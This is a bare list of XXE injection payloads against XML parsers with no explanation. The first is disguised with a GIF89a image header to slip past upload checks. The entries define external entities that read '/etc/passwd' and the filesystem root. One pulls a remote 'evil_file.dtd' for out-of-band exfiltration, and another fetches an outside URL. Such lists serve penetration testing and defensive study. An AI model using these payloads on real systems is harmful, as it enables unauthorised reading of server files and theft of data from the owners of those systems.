gif89a<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE roottag [
 <!ENTITY % file SYSTEM "file:///">
 <!ENTITY % dtd SYSTEM "http://mysite.com/evil_file.dtd">
%dtd;]>

<!DOCTYPE title [ <!ELEMENT title ANY > <!ENTITY xxe SYSTEM "https://grepular.com/xxe.txt" >]>

<!DOCTYPE title [ <!ELEMENT title ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>